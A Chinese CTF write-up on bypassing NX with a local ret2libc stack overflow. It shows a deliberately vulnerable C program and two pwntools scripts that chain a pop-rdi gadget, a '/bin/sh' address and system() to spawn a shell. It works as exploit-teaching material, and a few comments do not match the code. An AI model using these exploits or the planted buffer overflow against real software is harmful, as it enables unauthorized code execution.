CTF中的PWN——绕NX防护1(本地libc 栈溢出)

    进阶到防护篇了,首先学一下NX防护的基础题目。

NX防护

    NX是数据与程序的分水岭,栈溢出核心思想是通过局部变量覆盖函数返回地址来修改EIP和注入 Shellcode,在函数返回时跳到Shellcode去执行。要防止这种攻击,最有效的办法就是让攻击者注入的Shellcode无法执行,这就是数据执行保护(Data Execution Prevention, DEP)安全机制的初衷NX策略是使栈区域的代码无法执行。

    系统把需要写入数据的内存标识为可写,把保存指令的内存标识为可执行,但是不会有一块内存被同时表示为可写和可执行的。DEP述语是微软公司提出来的,在window XP操作系统开始支持该安全特性。DEP特性需要硬件页表机制来提供支持。Linux在X86_32位CPU没有提供软件的DEP机制,在64位CPU则利用NX位来实现DEP(当前Linux很少将该特性说成DEP)。

    NX题目代码如下:

#include 
#include 

void vul(char *msg)
{
   char buffer[64];
   memcpy(buffer,msg,128);
   return;
}

int main()
{
   puts("So plz give me your shellcode:");
   char buffer[256];
   memset(buffer,0,256);
   read(0,buffer,256);
   vul(buffer);
   return 0;
}

    编译后使用file及checksec查看程序信息:

CTF中的PWN——绕NX防护1(本地libc 栈溢出)_第1张图片

     程序使用了NX防护,拖入IDA中查看:

CTF中的PWN——绕NX防护1(本地libc 栈溢出)_第2张图片

 

    发现溢出点,程序函数中也无可用函数等,那么此类NX程序有两种PWN方式。

方式一:

    直接在gdb_peda中使用print system  print exit  find /bin/sh来获取地址,不过需要关闭aslr,获取相关地址如下:

CTF中的PWN——绕NX防护1(本地libc 栈溢出)_第3张图片

  溢出点距离EIP的偏移量为0x40 + 8 = 72,payload形式为:nop + pop rdi | ret + arg + system。因为是64bit,所以传参与32不一样。payload构造如下:

from pwn import *

p = process('./nx1')

sys_addr = 0x7ffff7e3aff0
sh_addr = 0x7ffff7f77cee
pop_rdi = 0x40123b

payload = 'A' * 72 + p64(pop_rdi) + p64(sh_addr) + p64(sys_addr)

p.recvuntil('So plz give me your shellcode:')
p.sendline(payload)
p.interactive()

    关闭ASLR后运行如下:

CTF中的PWN——绕NX防护1(本地libc 栈溢出)_第4张图片

方式二:

    将libc链接库导入同目录,直接搜索就行,不用关闭ASLR。

    首先查看程序导入的链接库位置并将文件copy至程序目录下:

     payload思路为在脚本中使用elf.symbols['system']和next(elf.symbols['/bin/sh'])来查找system函数及/bin/sh在libc中的地址,然后溢出即可:

from pwn import *

p = process('./nx1')
p.recvuntil("shellcode:")

#load libc.so.6
elf = ELF('libc.so.6')

#system offset  in libc
system_in_libc = elf.symbols['system']
#'/bin/sh' offset in libc
bin_sh_in_libc = next(elf.search('/bin/sh'))

#libc  base address
libc_base = 0x00007ffff7df4000
#pop rip;ret address
gadget_addr =  0x000000000040123b
#system_addr in process
system_addr = libc_base + system_in_libc
#'/bin/sh' address in process
bin_sh_addr = libc_base + bin_sh_in_libc

print hex(system_addr) +'----'+hex(bin_sh_addr)

payload = 'A'*72                                                
payload += p64(gadget_addr)
payload += p64(bin_sh_addr)
payload += p64(system_addr)

#with open('poc','wb') as f :
#    f.write(buf)

p.sendline(payload)
p.interactive()

    脚本运行结果如图:

CTF中的PWN——绕NX防护1(本地libc 栈溢出)_第5张图片

结语:

    上述PWN方法只是绕NX最基本的操作,但所有绕NX的程序都是基于此方法的。

你可能感兴趣的:(PWN)